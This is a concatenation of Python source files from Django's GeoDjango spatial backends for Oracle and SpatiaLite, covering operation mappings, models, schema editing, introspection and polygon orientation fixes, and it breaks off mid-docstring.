    distance_spheroid = False
    envelope = False
    force_rhr = False
    mem_size = False
    num_geom = False
    num_points = False
    perimeter = False
    perimeter3d = False
    point_on_surface = False
    polygonize = False
    reverse = False
    scale = False
    snap_to_grid = False
    sym_difference = False
    transform = False
    translate = False
    union = False

    # Aggregates
    disallowed_aggregates = ()

    geom_func_prefix = ''

    # Mapping between Django function names and backend names, when names do not
    # match; used in spatial_function_name().
    function_names = {}

    # Blacklist/set of known unsupported functions of the backend
    unsupported_functions = {
        'Area', 'AsGeoJSON', 'AsGML', 'AsKML', 'AsSVG',
        'BoundingCircle', 'Centroid', 'Difference', 'Distance', 'Envelope',
        'ForceRHR', 'GeoHash', 'Intersection', 'IsValid', 'Length', 'MakeValid',
        'MemSize', 'NumGeometries', 'NumPoints', 'Perimeter', 'PointOnSurface',
        'Reverse', 'Scale', 'SnapToGrid', 'SymDifference', 'Transform',
        'Translate', 'Union',
    }

    # Serialization
    geohash = False
    geojson = False
    gml = False
    kml = False
    svg = False

    # Constructors
    from_text = False
    from_wkb = False

    # Default conversion functions for aggregates; will be overridden if implemented
    # for the spatial backend.
    def convert_extent(self, box, srid):
        raise NotImplementedError('Aggregate extent not implemented for this spatial backend.')

    def convert_extent3d(self, box, srid):
        raise NotImplementedError('Aggregate 3D extent not implemented for this spatial backend.')

    def convert_geom(self, geom_val, geom_field):
        raise NotImplementedError('Aggregate method not implemented for this spatial backend.')

    # For quoting column values, rather than columns.
    def geo_quote_name(self, name):
        return "'%s'" % name

    # GeometryField operations
    def geo_db_type(self, f):
        """
        Returns the database column type for the geometry field on
        the spatial backend.
        """
        raise NotImplementedError('subclasses of BaseSpatialOperations must provide a geo_db_type() method')

    def get_distance(self, f, value, lookup_type):
        """
        Returns the distance parameters for the given geometry field,
        lookup value, and lookup type.
        """
        raise NotImplementedError('Distance operations not available on this spatial backend.')

    def get_geom_placeholder(self, f, value, compiler):
        """
        Returns the placeholder for the given geometry field with the given
        value.  Depending on the spatial backend, the placeholder may contain a
        stored procedure call to the transformation function of the spatial
        backend.
        """
        raise NotImplementedError('subclasses of BaseSpatialOperations must provide a geo_db_placeholder() method')

    def check_expression_support(self, expression):
        if isinstance(expression, self.disallowed_aggregates):
            raise NotImplementedError(
                "%s spatial aggregation is not supported by this database backend." % expression.name
            )
        super(BaseSpatialOperations, self).check_expression_support(expression)

    def spatial_aggregate_name(self, agg_name):
        raise NotImplementedError('Aggregate support not implemented for this spatial backend.')

    def spatial_function_name(self, func_name):
        if func_name in self.unsupported_functions:
            raise NotImplementedError("This backend doesn't support the %s function." % func_name)
        return self.function_names.get(func_name, self.geom_func_prefix + func_name)

    # Routines for getting the OGC-compliant models.
    def geometry_columns(self):
        raise NotImplementedError('Subclasses of BaseSpatialOperations must provide a geometry_columns() method.')

    def spatial_ref_sys(self):
        raise NotImplementedError('subclasses of BaseSpatialOperations must a provide spatial_ref_sys() method')






class WKTAdapter(object):
    """
    This provides an adaptor for Geometries sent to the
    MySQL and Oracle database backends.
    """
    def __init__(self, geom):
        self.wkt = geom.wkt
        self.srid = geom.srid

    def __eq__(self, other):
        if not isinstance(other, WKTAdapter):
            return False
        return self.wkt == other.wkt and self.srid == other.srid

    def __hash__(self):
        return hash((self.wkt, self.srid))

    def __str__(self):
        return self.wkt












"""
 The GeometryColumns and SpatialRefSys models for the Oracle spatial
 backend.

 It should be noted that Oracle Spatial does not have database tables
 named according to the OGC standard, so the closest analogs are used.
 For example, the `USER_SDO_GEOM_METADATA` is used for the GeometryColumns
 model and the `SDO_COORD_REF_SYS` is used for the SpatialRefSys model.
"""
from django.contrib.gis.db import models
from django.contrib.gis.db.backends.base.models import SpatialRefSysMixin
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class OracleGeometryColumns(models.Model):
    "Maps to the Oracle USER_SDO_GEOM_METADATA table."
    table_name = models.CharField(max_length=32)
    column_name = models.CharField(max_length=1024)
    srid = models.IntegerField(primary_key=True)
    # TODO: Add support for `diminfo` column (type MDSYS.SDO_DIM_ARRAY).

    class Meta:
        app_label = 'gis'
        db_table = 'USER_SDO_GEOM_METADATA'
        managed = False

    @classmethod
    def table_name_col(cls):
        """
        Returns the name of the metadata column used to store the feature table
        name.
        """
        return 'table_name'

    @classmethod
    def geom_col_name(cls):
        """
        Returns the name of the metadata column used to store the feature
        geometry column.
        """
        return 'column_name'

    def __str__(self):
        return '%s - %s (SRID: %s)' % (self.table_name, self.column_name, self.srid)


class OracleSpatialRefSys(models.Model, SpatialRefSysMixin):
    "Maps to the Oracle MDSYS.CS_SRS table."
    cs_name = models.CharField(max_length=68)
    srid = models.IntegerField(primary_key=True)
    auth_srid = models.IntegerField()
    auth_name = models.CharField(max_length=256)
    wktext = models.CharField(max_length=2046)
    # Optional geometry representing the bounds of this coordinate
    # system.  By default, all are NULL in the table.
    cs_bounds = models.PolygonField(null=True)
    objects = models.GeoManager()

    class Meta:
        app_label = 'gis'
        db_table = 'CS_SRS'
        managed = False

    @property
    def wkt(self):
        return self.wktext






from django.contrib.gis.db.backends.base.features import BaseSpatialFeatures
from django.db.backends.oracle.features import \
    DatabaseFeatures as OracleDatabaseFeatures


class DatabaseFeatures(BaseSpatialFeatures, OracleDatabaseFeatures):
    supports_add_srs_entry = False
    supports_geometry_field_introspection = False
    supports_geometry_field_unique_index = False
    supports_perimeter_geodetic = True






"""
 This module contains the spatial lookup types, and the `get_geo_where_clause`
 routine for Oracle Spatial.

 Please note that WKT support is broken on the XE version, and thus
 this backend will not work on such platforms.  Specifically, XE lacks
 support for an internal JVM, and Java libraries are required to use
 the WKT constructors.
"""
import re

from django.contrib.gis.db.backends.base.operations import \
    BaseSpatialOperations
from django.contrib.gis.db.backends.oracle.adapter import OracleSpatialAdapter
from django.contrib.gis.db.backends.utils import SpatialOperator
from django.contrib.gis.db.models import aggregates
from django.contrib.gis.geometry.backend import Geometry
from django.contrib.gis.measure import Distance
from django.db.backends.oracle.base import Database
from django.db.backends.oracle.operations import DatabaseOperations
from django.utils import six

DEFAULT_TOLERANCE = '0.05'


class SDOOperator(SpatialOperator):
    sql_template = "%(func)s(%(lhs)s, %(rhs)s) = 'TRUE'"


class SDODistance(SpatialOperator):
    sql_template = "SDO_GEOM.SDO_DISTANCE(%%(lhs)s, %%(rhs)s, %s) %%(op)s %%(value)s" % DEFAULT_TOLERANCE


class SDODWithin(SpatialOperator):
    sql_template = "SDO_WITHIN_DISTANCE(%(lhs)s, %(rhs)s, %%s) = 'TRUE'"


class SDODisjoint(SpatialOperator):
    sql_template = "SDO_GEOM.RELATE(%%(lhs)s, 'DISJOINT', %%(rhs)s, %s) = 'DISJOINT'" % DEFAULT_TOLERANCE


class SDORelate(SpatialOperator):
    sql_template = "SDO_RELATE(%(lhs)s, %(rhs)s, 'mask=%(mask)s') = 'TRUE'"

    def check_relate_argument(self, arg):
        masks = 'TOUCH|OVERLAPBDYDISJOINT|OVERLAPBDYINTERSECT|EQUAL|INSIDE|COVEREDBY|CONTAINS|COVERS|ANYINTERACT|ON'
        mask_regex = re.compile(r'^(%s)(\+(%s))*$' % (masks, masks), re.I)
        if not isinstance(arg, six.string_types) or not mask_regex.match(arg):
            raise ValueError('Invalid SDO_RELATE mask: "%s"' % arg)

    def as_sql(self, connection, lookup, template_params, sql_params):
        template_params['mask'] = sql_params.pop()
        return super(SDORelate, self).as_sql(connection, lookup, template_params, sql_params)


class OracleOperations(BaseSpatialOperations, DatabaseOperations):

    name = 'oracle'
    oracle = True
    disallowed_aggregates = (aggregates.Collect, aggregates.Extent3D, aggregates.MakeLine)

    Adapter = OracleSpatialAdapter

    area = 'SDO_GEOM.SDO_AREA'
    gml = 'SDO_UTIL.TO_GMLGEOMETRY'
    centroid = 'SDO_GEOM.SDO_CENTROID'
    difference = 'SDO_GEOM.SDO_DIFFERENCE'
    distance = 'SDO_GEOM.SDO_DISTANCE'
    extent = 'SDO_AGGR_MBR'
    intersection = 'SDO_GEOM.SDO_INTERSECTION'
    length = 'SDO_GEOM.SDO_LENGTH'
    num_points = 'SDO_UTIL.GETNUMVERTICES'
    perimeter = length
    point_on_surface = 'SDO_GEOM.SDO_POINTONSURFACE'
    reverse = 'SDO_UTIL.REVERSE_LINESTRING'
    sym_difference = 'SDO_GEOM.SDO_XOR'
    transform = 'SDO_CS.TRANSFORM'
    union = 'SDO_GEOM.SDO_UNION'
    unionagg = 'SDO_AGGR_UNION'

    from_text = 'SDO_GEOMETRY'

    function_names = {
        'Area': 'SDO_GEOM.SDO_AREA',
        'Centroid': 'SDO_GEOM.SDO_CENTROID',
        'Difference': 'SDO_GEOM.SDO_DIFFERENCE',
        'Distance': 'SDO_GEOM.SDO_DISTANCE',
        'Intersection': 'SDO_GEOM.SDO_INTERSECTION',
        'Length': 'SDO_GEOM.SDO_LENGTH',
        'NumGeometries': 'SDO_UTIL.GETNUMELEM',
        'NumPoints': 'SDO_UTIL.GETNUMVERTICES',
        'Perimeter': 'SDO_GEOM.SDO_LENGTH',
        'PointOnSurface': 'SDO_GEOM.SDO_POINTONSURFACE',
        'Reverse': 'SDO_UTIL.REVERSE_LINESTRING',
        'SymDifference': 'SDO_GEOM.SDO_XOR',
        'Transform': 'SDO_CS.TRANSFORM',
        'Union': 'SDO_GEOM.SDO_UNION',
    }

    # We want to get SDO Geometries as WKT because it is much easier to
    # instantiate GEOS proxies from WKT than SDO_GEOMETRY(...) strings.
    # However, this adversely affects performance (i.e., Java is called
    # to convert to WKT on every query).  If someone wishes to write a
    # SDO_GEOMETRY(...) parser in Python, let me know =)
    select = 'SDO_UTIL.TO_WKTGEOMETRY(%s)'

    gis_operators = {
        'contains': SDOOperator(func='SDO_CONTAINS'),
        'coveredby': SDOOperator(func='SDO_COVEREDBY'),
        'covers': SDOOperator(func='SDO_COVERS'),
        'disjoint': SDODisjoint(),
        'intersects': SDOOperator(func='SDO_OVERLAPBDYINTERSECT'),  # TODO: Is this really the same as ST_Intersects()?
        'equals': SDOOperator(func='SDO_EQUAL'),
        'exact': SDOOperator(func='SDO_EQUAL'),
        'overlaps': SDOOperator(func='SDO_OVERLAPS'),
        'same_as': SDOOperator(func='SDO_EQUAL'),
        'relate': SDORelate(),  # Oracle uses a different syntax, e.g., 'mask=inside+touch'
        'touches': SDOOperator(func='SDO_TOUCH'),
        'within': SDOOperator(func='SDO_INSIDE'),
        'distance_gt': SDODistance(op='>'),
        'distance_gte': SDODistance(op='>='),
        'distance_lt': SDODistance(op='<'),
        'distance_lte': SDODistance(op='<='),
        'dwithin': SDODWithin(),
    }

    truncate_params = {'relate': None}

    unsupported_functions = {
        'AsGeoJSON', 'AsGML', 'AsKML', 'AsSVG',
        'BoundingCircle', 'Envelope',
        'ForceRHR', 'GeoHash', 'IsValid', 'MakeValid', 'MemSize', 'Scale',
        'SnapToGrid', 'Translate',
    }

    def geo_quote_name(self, name):
        return super(OracleOperations, self).geo_quote_name(name).upper()

    def get_db_converters(self, expression):
        converters = super(OracleOperations, self).get_db_converters(expression)
        internal_type = expression.output_field.get_internal_type()
        geometry_fields = (
            'PointField', 'GeometryField', 'LineStringField',
            'PolygonField', 'MultiPointField', 'MultiLineStringField',
            'MultiPolygonField', 'GeometryCollectionField', 'GeomField',
            'GMLField',
        )
        if internal_type in geometry_fields:
            converters.append(self.convert_textfield_value)
        if hasattr(expression.output_field, 'geom_type'):
            converters.append(self.convert_geometry)
        return converters

    def convert_geometry(self, value, expression, connection, context):
        if value:
            value = Geometry(value)
            if 'transformed_srid' in context:
                value.srid = context['transformed_srid']
        return value

    def convert_extent(self, clob, srid):
        if clob:
            # Generally, Oracle returns a polygon for the extent -- however,
            # it can return a single point if there's only one Point in the
            # table.
            ext_geom = Geometry(clob.read(), srid)
            gtype = str(ext_geom.geom_type)
            if gtype == 'Polygon':
                # Construct the 4-tuple from the coordinates in the polygon.
                shell = ext_geom.shell
                ll, ur = shell[0][:2], shell[2][:2]
            elif gtype == 'Point':
                ll = ext_geom.coords[:2]
                ur = ll
            else:
                raise Exception('Unexpected geometry type returned for extent: %s' % gtype)
            xmin, ymin = ll
            xmax, ymax = ur
            return (xmin, ymin, xmax, ymax)
        else:
            return None

    def convert_geom(self, value, geo_field):
        if value:
            if isinstance(value, Database.LOB):
                value = value.read()
            return Geometry(value, geo_field.srid)
        else:
            return None

    def geo_db_type(self, f):
        """
        Returns the geometry database type for Oracle.  Unlike other spatial
        backends, no stored procedure is necessary and it's the same for all
        geometry types.
        """
        return 'MDSYS.SDO_GEOMETRY'

    def get_distance(self, f, value, lookup_type, **kwargs):
        """
        Returns the distance parameters given the value and the lookup type.
        On Oracle, geometry columns with a geodetic coordinate system behave
        implicitly like a geography column, and thus meters will be used as
        the distance parameter on them.
        """
        if not value:
            return []
        value = value[0]
        if isinstance(value, Distance):
            if f.geodetic(self.connection):
                dist_param = value.m
            else:
                dist_param = getattr(value, Distance.unit_attname(f.units_name(self.connection)))
        else:
            dist_param = value

        # dwithin lookups on Oracle require a special string parameter
        # that starts with "distance=".
        if lookup_type == 'dwithin':
            dist_param = 'distance=%s' % dist_param

        return [dist_param]

    def get_geom_placeholder(self, f, value, compiler):
        """
        Provides a proper substitution value for Geometries that are not in the
        SRID of the field.  Specifically, this routine will substitute in the
        SDO_CS.TRANSFORM() function call.
        """
        if value is None:
            return 'NULL'

        def transform_value(val, srid):
            return val.srid != srid

        if hasattr(value, 'as_sql'):
            if transform_value(value, f.srid):
                placeholder = '%s(%%s, %s)' % (self.transform, f.srid)
            else:
                placeholder = '%s'
            # No geometry value used for F expression, substitute in
            # the column name instead.
            sql, _ = compiler.compile(value)
            return placeholder % sql
        else:
            if transform_value(value, f.srid):
                return '%s(SDO_GEOMETRY(%%s, %s), %s)' % (self.transform, value.srid, f.srid)
            else:
                return 'SDO_GEOMETRY(%%s, %s)' % f.srid

    def spatial_aggregate_name(self, agg_name):
        """
        Returns the spatial aggregate SQL name.
        """
        agg_name = 'unionagg' if agg_name.lower() == 'union' else agg_name.lower()
        return getattr(self, agg_name)

    # Routines for getting the OGC-compliant models.
    def geometry_columns(self):
        from django.contrib.gis.db.backends.oracle.models import OracleGeometryColumns
        return OracleGeometryColumns

    def spatial_ref_sys(self):
        from django.contrib.gis.db.backends.oracle.models import OracleSpatialRefSys
        return OracleSpatialRefSys

    def modify_insert_params(self, placeholder, params):
        """Drop out insert parameters for NULL placeholder. Needed for Oracle Spatial
        backend due to #10888.
        """
        if placeholder == 'NULL':
            return []
        return super(OracleOperations, self).modify_insert_params(placeholder, params)






from django.db.backends.oracle.base import \
    DatabaseWrapper as OracleDatabaseWrapper

from .features import DatabaseFeatures
from .introspection import OracleIntrospection
from .operations import OracleOperations
from .schema import OracleGISSchemaEditor


class DatabaseWrapper(OracleDatabaseWrapper):
    SchemaEditorClass = OracleGISSchemaEditor

    def __init__(self, *args, **kwargs):
        super(DatabaseWrapper, self).__init__(*args, **kwargs)
        self.features = DatabaseFeatures(self)
        self.ops = OracleOperations(self)
        self.introspection = OracleIntrospection(self)






from django.contrib.gis.db.models.fields import GeometryField
from django.db.backends.oracle.schema import DatabaseSchemaEditor
from django.db.backends.utils import truncate_name


class OracleGISSchemaEditor(DatabaseSchemaEditor):
    sql_add_geometry_metadata = ("""
        INSERT INTO USER_SDO_GEOM_METADATA
            ("TABLE_NAME", "COLUMN_NAME", "DIMINFO", "SRID")
        VALUES (
            %(table)s,
            %(column)s,
            MDSYS.SDO_DIM_ARRAY(
                MDSYS.SDO_DIM_ELEMENT('LONG', %(dim0)s, %(dim2)s, %(tolerance)s),
                MDSYS.SDO_DIM_ELEMENT('LAT', %(dim1)s, %(dim3)s, %(tolerance)s)
            ),
            %(srid)s
        )""")
    sql_add_spatial_index = 'CREATE INDEX %(index)s ON %(table)s(%(column)s) INDEXTYPE IS MDSYS.SPATIAL_INDEX'
    sql_drop_spatial_index = 'DROP INDEX %(index)s'
    sql_clear_geometry_table_metadata = 'DELETE FROM USER_SDO_GEOM_METADATA WHERE TABLE_NAME = %(table)s'
    sql_clear_geometry_field_metadata = (
        'DELETE FROM USER_SDO_GEOM_METADATA WHERE TABLE_NAME = %(table)s '
        'AND COLUMN_NAME = %(column)s'
    )

    def __init__(self, *args, **kwargs):
        super(OracleGISSchemaEditor, self).__init__(*args, **kwargs)
        self.geometry_sql = []

    def geo_quote_name(self, name):
        return self.connection.ops.geo_quote_name(name)

    def column_sql(self, model, field, include_default=False):
        column_sql = super(OracleGISSchemaEditor, self).column_sql(model, field, include_default)
        if isinstance(field, GeometryField):
            db_table = model._meta.db_table
            self.geometry_sql.append(
                self.sql_add_geometry_metadata % {
                    'table': self.geo_quote_name(db_table),
                    'column': self.geo_quote_name(field.column),
                    'dim0': field._extent[0],
                    'dim1': field._extent[1],
                    'dim2': field._extent[2],
                    'dim3': field._extent[3],
                    'tolerance': field._tolerance,
                    'srid': field.srid,
                }
            )
            if field.spatial_index:
                self.geometry_sql.append(
                    self.sql_add_spatial_index % {
                        'index': self.quote_name(self._create_spatial_index_name(model, field)),
                        'table': self.quote_name(db_table),
                        'column': self.quote_name(field.column),
                    }
                )
        return column_sql

    def create_model(self, model):
        super(OracleGISSchemaEditor, self).create_model(model)
        self.run_geometry_sql()

    def delete_model(self, model):
        super(OracleGISSchemaEditor, self).delete_model(model)
        self.execute(self.sql_clear_geometry_table_metadata % {
            'table': self.geo_quote_name(model._meta.db_table),
        })

    def add_field(self, model, field):
        super(OracleGISSchemaEditor, self).add_field(model, field)
        self.run_geometry_sql()

    def remove_field(self, model, field):
        if isinstance(field, GeometryField):
            self.execute(self.sql_clear_geometry_field_metadata % {
                'table': self.geo_quote_name(model._meta.db_table),
                'column': self.geo_quote_name(field.column),
            })
            if field.spatial_index:
                self.execute(self.sql_drop_spatial_index % {
                    'index': self.quote_name(self._create_spatial_index_name(model, field)),
                })
        super(OracleGISSchemaEditor, self).remove_field(model, field)

    def run_geometry_sql(self):
        for sql in self.geometry_sql:
            self.execute(sql)
        self.geometry_sql = []

    def _create_spatial_index_name(self, model, field):
        # Oracle doesn't allow object names > 30 characters. Use this scheme
        # instead of self._create_index_name() for backwards compatibility.
        return truncate_name('%s_%s_id' % (model._meta.db_table, field.column), 30)






import sys

import cx_Oracle

from django.db.backends.oracle.introspection import DatabaseIntrospection
from django.utils import six


class OracleIntrospection(DatabaseIntrospection):
    # Associating any OBJECTVAR instances with GeometryField.  Of course,
    # this won't work right on Oracle objects that aren't MDSYS.SDO_GEOMETRY,
    # but it is the only object type supported within Django anyways.
    data_types_reverse = DatabaseIntrospection.data_types_reverse.copy()
    data_types_reverse[cx_Oracle.OBJECT] = 'GeometryField'

    def get_geometry_type(self, table_name, geo_col):
        cursor = self.connection.cursor()
        try:
            # Querying USER_SDO_GEOM_METADATA to get the SRID and dimension information.
            try:
                cursor.execute(
                    'SELECT "DIMINFO", "SRID" FROM "USER_SDO_GEOM_METADATA" '
                    'WHERE "TABLE_NAME"=%s AND "COLUMN_NAME"=%s',
                    (table_name.upper(), geo_col.upper())
                )
                row = cursor.fetchone()
            except Exception as msg:
                new_msg = (
                    'Could not find entry in USER_SDO_GEOM_METADATA '
                    'corresponding to "%s"."%s"\n'
                    'Error message: %s.') % (table_name, geo_col, msg)
                six.reraise(Exception, Exception(new_msg), sys.exc_info()[2])

            # TODO: Research way to find a more specific geometry field type for
            # the column's contents.
            field_type = 'GeometryField'

            # Getting the field parameters.
            field_params = {}
            dim, srid = row
            if srid != 4326:
                field_params['srid'] = srid
            # Length of object array ( SDO_DIM_ARRAY ) is number of dimensions.
            dim = len(dim)
            if dim != 2:
                field_params['dim'] = dim
        finally:
            cursor.close()

        return field_type, field_params






from cx_Oracle import CLOB

from django.contrib.gis.db.backends.base.adapter import WKTAdapter
from django.contrib.gis.geos import GeometryCollection, Polygon
from django.utils.six.moves import range


class OracleSpatialAdapter(WKTAdapter):
    input_size = CLOB

    def __init__(self, geom):
        """
        Oracle requires that polygon rings are in proper orientation. This
        affects spatial operations and an invalid orientation may cause
        failures. Correct orientations are:
         * Outer ring - counter clockwise
         * Inner ring(s) - clockwise
        """
        if isinstance(geom, Polygon):
            self._fix_polygon(geom)
        elif isinstance(geom, GeometryCollection):
            self._fix_geometry_collection(geom)

        self.wkt = geom.wkt
        self.srid = geom.srid

    def _fix_polygon(self, poly):
        # Fix single polygon orientation as described in __init__()
        if self._isClockwise(poly.exterior_ring):
            poly.exterior_ring = list(reversed(poly.exterior_ring))

        for i in range(1, len(poly)):
            if not self._isClockwise(poly[i]):
                poly[i] = list(reversed(poly[i]))

        return poly

    def _fix_geometry_collection(self, coll):
        # Fix polygon orientations in geometry collections as described in
        # __init__()
        for i, geom in enumerate(coll):
            if isinstance(geom, Polygon):
                coll[i] = self._fix_polygon(geom)

    def _isClockwise(self, coords):
        # A modified shoelace algorithm to determine polygon orientation.
        # See https://en.wikipedia.org/wiki/Shoelace_formula
        n = len(coords)
        area = 0.0
        for i in range(n):
            j = (i + 1) % n
            area += coords[i][0] * coords[j][1]
            area -= coords[j][0] * coords[i][1]
        return area < 0.0












"""
 The GeometryColumns and SpatialRefSys models for the SpatiaLite backend.
"""
from django.contrib.gis.db.backends.base.models import SpatialRefSysMixin
from django.db import models
from django.utils.encoding import python_2_unicode_compatible


@python_2_unicode_compatible
class SpatialiteGeometryColumns(models.Model):
    """
    The 'geometry_columns' table from SpatiaLite.
    """
    f_table_name = models.CharField(max_length=256)
    f_geometry_column = models.CharField(max_length=256)
    coord_dimension = models.IntegerField()
    srid = models.IntegerField(primary_key=True)
    spatial_index_enabled = models.IntegerField()
    type = models.IntegerField(db_column='geometry_type')

    class Meta:
        app_label = 'gis'
        db_table = 'geometry_columns'
        managed = False

    @classmethod
    def table_name_col(cls):
        """
        Returns the name of the metadata column used to store the feature table
        name.
        """
        return 'f_table_name'

    @classmethod
    def geom_col_name(cls):
        """
        Returns the name of the metadata column used to store the feature
        geometry column.
        """
        return 'f_geometry_column'

    def __str__(self):
        return "%s.%s - %dD %s field (SRID: %d)" % \
               (self.f_table_name, self.f_geometry_column,
                self.coord_dimension, self.type, self.srid)


class SpatialiteSpatialRefSys(models.Model, SpatialRefSysMixin):
    """
    The 'spatial_ref_sys' table from SpatiaLite.
    """
    srid = models.IntegerField(primary_key=True)
    auth_name = models.CharField(max_length=256)
    auth_srid = models.IntegerField()
    ref_sys_name = models.CharField(max_length=256)
    proj4text = models.CharField(max_length=2048)
    srtext = models.CharField(max_length=2048)

    @property
    def wkt(self):
        return self.srtext

    class Meta:
        app_label = 'gis'
        db_table = 'spatial_ref_sys'
        managed = False






from django.contrib.gis.db.backends.base.features import BaseSpatialFeatures
from django.db.backends.sqlite3.features import \
    DatabaseFeatures as SQLiteDatabaseFeatures
from django.utils.functional import cached_property


class DatabaseFeatures(BaseSpatialFeatures, SQLiteDatabaseFeatures):
    supports_3d_storage = True
    supports_distance_geodetic = False
    # SpatiaLite can only count vertices in LineStrings
    supports_num_points_poly = False

    @cached_property
    def supports_initspatialmetadata_in_one_transaction(self):
        # SpatiaLite 4.1+ support initializing all metadata in one transaction
        # which can result in a significant performance improvement when
        # creating the database.
        return self.connection.ops.spatial_version >= (4, 1, 0)






"""
SQL functions reference lists:
https://web.archive.org/web/20130407175746/http://www.gaia-gis.it/gaia-sins/spatialite-sql-4.0.0.html
http://www.gaia-gis.it/gaia-sins/spatialite-sql-4.2.1.html
"""
import re
import sys

from django.contrib.gis.db.backends.base.operations import \
    BaseSpatialOperations
from django.contrib.gis.db.backends.spatialite.adapter import SpatiaLiteAdapter
from django.contrib.gis.db.backends.utils import SpatialOperator
from django.contrib.gis.db.models import aggregates
from django.contrib.gis.geometry.backend import Geometry
from django.contrib.gis.measure import Distance
from django.core.exceptions import ImproperlyConfigured
from django.db.backends.sqlite3.operations import DatabaseOperations
from django.utils import six
from django.utils.functional import cached_property


class SpatiaLiteOperations(BaseSpatialOperations, DatabaseOperations):
    name = 'spatialite'
    spatialite = True
    version_regex = re.compile(r'^(?P<major>\d)\.(?P<minor1>\d)\.(?P<minor2>\d+)')

    Adapter = SpatiaLiteAdapter

    area = 'Area'
    centroid = 'Centroid'
    collect = 'Collect'
    contained = 'MbrWithin'
    difference = 'Difference'
    distance = 'Distance'
    envelope = 'Envelope'
    extent = 'Extent'
    geojson = 'AsGeoJSON'
    gml = 'AsGML'
    intersection = 'Intersection'
    kml = 'AsKML'
    length = 'GLength'  # OpenGis defines Length, but this conflicts with an SQLite reserved keyword
    makeline = 'MakeLine'
    num_geom = 'NumGeometries'
    num_points = 'NumPoints'
    point_on_surface = 'PointOnSurface'
    scale = 'ScaleCoords'
    svg = 'AsSVG'
    sym_difference = 'SymDifference'
    transform = 'Transform'
    translate = 'ShiftCoords'
    union = 'GUnion'  # OpenGis defines Union, but this conflicts with an SQLite reserved keyword
    unionagg = 'GUnion'

    from_text = 'GeomFromText'
    from_wkb = 'GeomFromWKB'
    select = 'AsText(%s)'

    gis_operators = {
        'equals': SpatialOperator(func='Equals'),
        'disjoint': SpatialOperator(func='Disjoint'),
        'touches': SpatialOperator(func='Touches'),
        'crosses': SpatialOperator(func='Crosses'),
        'within': SpatialOperator(func='Within'),
        'overlaps': SpatialOperator(func='Overlaps'),
        'contains': SpatialOperator(func='Contains'),
        'intersects': SpatialOperator(func='Intersects'),
        'relate': SpatialOperator(func='Relate'),
        # Returns true if B's bounding box completely contains A's bounding box.
        'contained': SpatialOperator(func='MbrWithin'),
        # Returns true if A's bounding box completely contains B's bounding box.
        'bbcontains': SpatialOperator(func='MbrContains'),
        # Returns true if A's bounding box overlaps B's bounding box.
        'bboverlaps': SpatialOperator(func='MbrOverlaps'),
        # These are implemented here as synonyms for Equals
        'same_as': SpatialOperator(func='Equals'),
        'exact': SpatialOperator(func='Equals'),

        'distance_gt': SpatialOperator(func='Distance', op='>'),
        'distance_gte': SpatialOperator(func='Distance', op='>='),
        'distance_lt': SpatialOperator(func='Distance', op='<'),
        'distance_lte': SpatialOperator(func='Distance', op='<='),
    }

    disallowed_aggregates = (aggregates.Extent3D,)

    @cached_property
    def function_names(self):
        return {
            'Length': 'ST_Length',
            'Reverse': 'ST_Reverse',
            'Scale': 'ScaleCoords',
            'Translate': 'ST_Translate',
            'Union': 'ST_Union',
        }

    @cached_property
    def unsupported_functions(self):
        unsupported = {'BoundingCircle', 'ForceRHR', 'IsValid', 'MakeValid', 'MemSize'}
        if not self.lwgeom_version():
            unsupported.add('GeoHash')
        return unsupported

    @cached_property
    def spatial_version(self):
        """Determine the version of the SpatiaLite library."""
        try:
            version = self.spatialite_version_tuple()[1:]
        except Exception as msg:
            new_msg = (
                'Cannot determine the SpatiaLite version for the "%s" '
                'database (error was "%s").  Was the SpatiaLite initialization '
                'SQL loaded on this database?') % (self.connection.settings_dict['NAME'], msg)
            six.reraise(ImproperlyConfigured, ImproperlyConfigured(new_msg), sys.exc_info()[2])
        if version < (4, 0, 0):
            raise ImproperlyConfigured('GeoDjango only supports SpatiaLite versions 4.0.0 and above.')
        return version

    def convert_extent(self, box, srid):
        """
        Convert the polygon data received from SpatiaLite to min/max values.
        """
        if box is None:
            return None
        shell = Geometry(box, srid).shell
        xmin, ymin = shell[0][:2]
        xmax, ymax = shell[2][:2]
        return (xmin, ymin, xmax, ymax)

    def convert_geom(self, wkt, geo_field):
        """
        Converts geometry WKT returned from a SpatiaLite aggregate.
        """
        if wkt:
            return Geometry(wkt, geo_field.srid)
        else:
            return None

    def geo_db_type(self, f):
        """
        Returns None because geometry columns are added via the
        `AddGeometryColumn` stored procedure on SpatiaLite.
        """
        return None

    def get_distance(self, f, value, lookup_type, **kwargs):
        """
        Returns the distance parameters for the given geometry field,
        lookup value, and lookup type.  SpatiaLite only supports regular
        cartesian-based queries (no spheroid/sphere calculations for point
        geometries like PostGIS).
        """
        if not value:
            return []
        value = value[0]
        if isinstance(value, Distance):
            if f.geodetic(self.connection):
                raise ValueError('SpatiaLite does not support distance queries on '
                                 'geometry fields with a geodetic coordinate system. '
                                 'Distance objects; use a numeric value of your '
                                 'distance in degrees instead.')
            else:
                dist_param = getattr(value, Distance.unit_attname(f.units_name(self.connection)))
        else:
            dist_param = value
        return [dist_param]

    def get_geom_placeholder(self, f, value, compiler):
        """
        Provides a proper substitution value for Geometries that are not in the
        SRID of the field.  Specifically, this routine will substitute in the
        Transform() and GeomFromText() function call(s).
        """
        def transform_value(value, srid):
            return not (value is None or value.srid == srid)
        if hasattr(value, 'as_sql'):
            if transform_value(value, f.srid):
                placeholder = '%s(%%s, %s)' % (self.transform, f.srid)
            else:
                placeholder = '%s'
            # No geometry value used for F expression, substitute in
            # the column name instead.
            sql, _ = compiler.compile(value)
            return placeholder % sql
        else:
            if transform_value(value, f.srid):
                # Adding Transform() to the SQL placeholder.
                return '%s(%s(%%s,%s), %s)' % (self.transform, self.from_text, value.srid, f.srid)
            else:
                return '%s(%%s,%s)' % (self.from_text, f.srid)

    def _get_spatialite_func(self, func):
        """
        Helper routine for calling SpatiaLite functions and returning
        their result.
        Any error occurring in this method should be handled by the caller.
        """
        cursor = self.connection._cursor()
        try:
            cursor.execute('SELECT %s' % func)
            row = cursor.fetchone()
        finally:
            cursor.close()
        return row[0]

    def geos_version(self):
        "Returns the version of GEOS used by SpatiaLite as a string."
        return self._get_spatialite_func('geos_version()')

    def proj4_version(self):
        "Returns the version of the PROJ.4 library used by SpatiaLite."
        return self._get_spatialite_func('proj4_version()')

    def lwgeom_version(self):
        """Return the version of LWGEOM library used by SpatiaLite."""
        return self._get_spatialite_func('lwgeom_version()')

    def spatialite_version(self):
        "Returns the SpatiaLite library version as a string."
        return self._get_spatialite_func('spatialite_version()')

    def spatialite_version_tuple(self):
        """
        Returns the SpatiaLite version as a tuple (version string, major,
        minor, subminor).
